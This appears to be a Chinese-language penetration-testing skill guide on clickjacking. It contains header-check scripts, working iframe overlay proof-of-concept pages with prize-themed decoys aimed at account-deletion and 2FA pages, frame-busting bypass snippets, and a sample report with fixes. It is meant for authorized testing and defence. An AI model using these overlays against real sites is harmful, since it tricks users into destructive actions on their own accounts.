npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在授权渗透测试中评估 UI 重绘(UI Redressing)漏洞时
Tests web apps for clickjacking via X-Frame-Options/CSP header checks with curl/bash and PoC iframe overlays using HTML/CSS during authorized pentests.
Tests web apps for clickjacking vulnerabilities by checking X-Frame-Options and CSP frame-ancestors headers with curl/bash, and crafting iframe overlay PoCs during authorized pentests.
Guides web penetration testing for request forgery vulnerabilities like CSRF, HTTP request smuggling, CRLF injection, and clickjacking. Includes exploitation patterns, bypasses, and detection checklists.
Share bugs, ideas, or general feedback.
http.server 或类似工具,用于托管 PoC 页面检查响应头中的反点击劫持防御措施。
# 检查 X-Frame-Options 头
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
# 预期值:
# X-Frame-Options: DENY(阻止所有嵌入)
# X-Frame-Options: SAMEORIGIN(允许同源嵌入)
# X-Frame-Options: ALLOW-FROM https://trusted.com(已废弃,支持有限)
# 检查 Content-Security-Policy frame-ancestors 指令
curl -s -I "https://target.example.com/" | grep -i "content-security-policy"
# 查找:frame-ancestors 'none' 或 frame-ancestors 'self'
# frame-ancestors 'none' = 等同于 DENY
# frame-ancestors 'self' = 等同于 SAMEORIGIN
# 测试多个敏感页面
for page in / /account/settings /account/delete /transfer \
/admin/dashboard /change-password /change-email; do
echo -n "$page: "
headers=$(curl -s -I "https://target.example.com$page")
xfo=$(echo "$headers" | grep -i "x-frame-options" | tr -d '\r')
csp=$(echo "$headers" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
if [ -z "$xfo" ] && [ -z "$csp" ]; then
echo "无保护"
else
echo "${xfo:-none} | ${csp:-none}"
fi
done
# 检查是否使用了 JavaScript 框架破坏(弱保护)
curl -s "https://target.example.com/" | grep -i "top.location\|parent.location\|frameElement"
尝试在 iframe 中嵌入目标页面以确认漏洞。
<!-- basic-frame-test.html -->
<html>
<head><title>点击劫持框架测试</title></head>
<body>
<h1>框架嵌入测试</h1>
<p>如果目标页面在下方加载,则容易受到点击劫持攻击。</p>
<!-- 测试基本嵌入 -->
<iframe src="https://target.example.com/account/settings"
width="800" height="600"
style="border: 2px solid red;">
</iframe>
<p>如果控制台显示"Refused to display"或 iframe 为空白,
则该页面有框架保护。</p>
</body>
</html>
# 托管测试页面
cd /tmp
cat > frame-test.html << 'EOF'
<html>
<body>
<h1>点击劫持测试</h1>
<iframe src="https://target.example.com/account/settings"
width="800" height="600"></iframe>
</body>
</html>
EOF
python3 -m http.server 8888
# 在浏览器中打开 http://localhost:8888/frame-test.html
# 检查浏览器控制台是否有嵌入错误
构建一个覆盖层攻击,诱骗用户点击隐藏元素。
<!-- clickjacking-poc.html -->
<html>
<head>
<title>赢取奖品!</title>
<style>
body {
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
}
/* 包含目标页面的不可见 iframe */
#target-frame {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0.0001; /* 几乎不可见 */
z-index: 2; /* 在诱饵上方 */
border: none;
}
/* 欺骗用户的诱饵内容 */
#decoy {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1;
background: white;
}
/* 将"点击此处"按钮精确定位在目标的敏感按钮上方
(根据目标布局调整 top/left 值) */
#click-bait {
position: absolute;
top: 350px; /* 与目标的"删除账户"按钮对齐 */
left: 400px; /* 水平对齐 */
padding: 15px 30px;
background: #4CAF50;
color: white;
font-size: 18px;
cursor: pointer;
border: none;
border-radius: 5px;
}
</style>
</head>
<body>
<!-- 用户可见的诱饵内容 -->
<div id="decoy">
<h1 style="text-align:center; margin-top:100px;">
恭喜!您中奖了!
</h1>
<p style="text-align:center;">
点击下方按钮领取奖品
</p>
<button id="click-bait">领取奖品</button>
</div>
<!-- 包含目标敏感操作的隐藏 iframe -->
<iframe id="target-frame"
src="https://target.example.com/account/delete"
scrolling="no">
</iframe>
</body>
</html>
对于需要多次点击的操作,创建多步骤覆盖层。
<!-- multi-step-clickjacking.html -->
<html>
<head>
<title>完成调查</title>
<style>
#target-frame {
position: absolute;
width: 100%;
height: 100%;
opacity: 0.0001;
z-index: 2;
border: none;
}
#step-container {
text-align: center;
margin-top: 200px;
z-index: 1;
position: relative;
}
.step { display: none; }
.step.active { display: block; }
.btn {
padding: 15px 40px;
font-size: 18px;
background: #2196F3;
color: white;
border: none;
cursor: pointer;
margin-top: 20px;
}
</style>
</head>
<body>
<div id="step-container">
<!-- 步骤 1:点击与目标上的"设置"链接对齐 -->
<div class="step active" id="step1">
<h2>步骤 1:选择您的奖励</h2>
<button class="btn" onclick="nextStep()"
style="position:absolute; top:200px; left:300px;">
黄金套餐
</button>
</div>
<!-- 步骤 2:点击与"删除账户"按钮对齐 -->
<div class="step" id="step2">
<h2>步骤 2:确认您的选择</h2>
<button class="btn" onclick="nextStep()"
style="position:absolute; top:350px; left:400px;">
确认
</button>
</div>
<!-- 步骤 3:点击与"是的,我确定"确认框对齐 -->
<div class="step" id="step3">
<h2>步骤 3:领取奖励!</h2>
<button class="btn"
style="position:absolute; top:400px; left:450px;">
立即领取!
</button>
</div>
</div>
<iframe id="target-frame"
src="https://target.example.com/account/settings">
</iframe>
<script>
var currentStep = 1;
function nextStep() {
document.getElementById('step' + currentStep).classList.remove('active');
currentStep++;
document.getElementById('step' + currentStep).classList.add('active');
// 可选:针对多页面流程更改 iframe src
}
</script>
</body>
</html>
如果使用了基于 JavaScript 的框架保护,尝试绕过它。
<!-- 绕过 JavaScript 框架破坏 -->
<!-- 技术 1:sandbox 属性阻止顶级导航 -->
<iframe src="https://target.example.com/account/settings"
sandbox="allow-scripts allow-forms allow-same-origin"
width="800" height="600">
</iframe>
<!-- 不含 allow-top-navigation 的 sandbox 阻止框架破坏 -->
<!-- 技术 2:双重嵌套 -->
<!-- 如果目标检查:if (top !== self) top.location = self.location -->
<!-- 通过同样嵌套目标的中间页面来嵌入页面 -->
<iframe src="intermediate.html" width="800" height="600"></iframe>
<!-- intermediate.html 包含:<iframe src="https://target.example.com/..."> -->
<!-- 技术 3:拦截 onbeforeunload -->
<script>
window.onbeforeunload = function() {
return "您确定要离开吗?"; // 阻止导航离开
};
</script>
<iframe src="https://target.example.com/account/settings"
width="800" height="600">
</iframe>
<!-- 技术 4:使用 data: URI 或 about:blank -->
<iframe id="f" src="about:blank" width="800" height="600"></iframe>
<script>
var iframe = document.getElementById('f');
iframe.contentDocument.write(
'<iframe src="https://target.example.com/account/settings" width="100%" height="100%"></iframe>'
);
</script>
确认点击劫持能导致有意义的影响。
# 托管 PoC 并测试攻击流程
cd /tmp
python3 -m http.server 8888
# 测试步骤:
# 1. 在浏览器中登录 target.example.com
# 2. 打开 http://localhost:8888/clickjacking-poc.html
# 3. 点击诱饵按钮
# 4. 验证目标上的敏感操作是否已执行
# 报告用:调整 iframe 透明度以显示重叠
# 将透明度从 0.0001 改为 0.5 以获取截图证据
# 这显示了诱饵内容后面可见的目标页面
# 记录哪些敏感操作存在漏洞:
# - 账户删除
# - 密码/邮箱更改
# - 资金转账
# - 权限/角色更改
# - 启用/禁用安全功能
| 概念 | 定义 |
|---|---|
| 点击劫持(Clickjacking) | 通过覆盖诱饵内容欺骗用户点击隐藏元素的 UI 重绘攻击 |
| X-Frame-Options | 控制页面是否可嵌入 iframe 的 HTTP 头(DENY、SAMEORIGIN) |
| frame-ancestors | 指定 iframe 嵌入有效父级的 CSP 指令(取代 X-Frame-Options) |
| 框架破坏(Frame Busting) | 尝试跳出 iframe 的 JavaScript 防御机制(易被绕过) |
| Likejacking | 针对社交媒体"点赞"或"分享"按钮的点击劫持变体 |
| 光标劫持(Cursorjacking) | 使用 CSS 偏移可见光标与实际点击位置的变体 |
| 多步骤点击劫持(Multi-step Clickjacking) | 需要多次点击的攻击,每个步骤的诱饵内容各不相同 |
| 工具 | 用途 |
|---|---|
| Burp Suite Professional | 检查响应上的 X-Frame-Options 和 CSP 头 |
| Clickjack Tester(浏览器) | 基于浏览器的 iframe 嵌入测试工具 |
| 浏览器 DevTools | 检查框架嵌入行为和控制台错误 |
| Python http.server | 在本地托管点击劫持 PoC 页面 |
| OWASP ZAP | 自动检测缺少的反框架头 |
| securityheaders.com | 缺失安全头的在线扫描器 |
/account/delete 的账户删除页面没有 X-Frame-Options 头。攻击者创建一个带有"赢取奖品"按钮的页面,将其定位在透明 iframe 中"删除我的账户"按钮的上方。
银行应用程序通过预填表单上的单一按钮点击执行转账。在没有框架保护的情况下,攻击者将转账页面嵌入 iframe,并覆盖诱饵"玩游戏"按钮。
禁用双因素认证需要两次点击(设置链接,然后禁用按钮)。多步骤点击劫持 PoC 引导受害者完成两次诱饵点击,这些点击与真实按钮对齐。
OAuth 同意屏幕允许嵌入。攻击者嵌入同意页面并诱骗受害者点击"授权",将攻击者的应用程序访问权授予受害者账户。
## 点击劫持漏洞发现报告
**漏洞**:点击劫持 — 缺少框架嵌入保护
**严重性**:中(CVSS 6.1)
**位置**:/account/settings、/account/delete、/transfer
**OWASP 类别**:A04:2021 - 不安全设计
### 头部分析
| 页面 | X-Frame-Options | CSP frame-ancestors | 是否易受攻击 |
|------|----------------|--------------------|-|
| / | 未设置 | 未设置 | 是 |
| /account/settings | 未设置 | 未设置 | 是 |
| /account/delete | 未设置 | 未设置 | 是 |
| /transfer | 未设置 | 未设置 | 是 |
| /login | SAMEORIGIN | - | 否 |
### 可被利用的敏感操作
1. 账户删除(单次点击,无需重新认证)
2. 邮箱更改(单次点击,无需确认)
3. 2FA 禁用(两次点击,多步骤 PoC)
4. 资金转账(预填表单,单次点击)
### 影响
- 通过邮箱更改点击劫持实现账户接管
- 通过删除点击劫持毁坏账户
- 通过转账点击劫持造成财务损失
- 通过 2FA 禁用点击劫持降低安全性
### 修复建议
1. 为所有页面添加 `Content-Security-Policy: frame-ancestors 'none'`
2. 设置 `X-Frame-Options: DENY` 作为旧版浏览器的回退措施
3. 对敏感操作要求重新认证(删除、转账)
4. 添加无法预填或自动提交的确认对话框
5. 实施 SameSite=Strict Cookie 以减少 iframe 中的会话可用性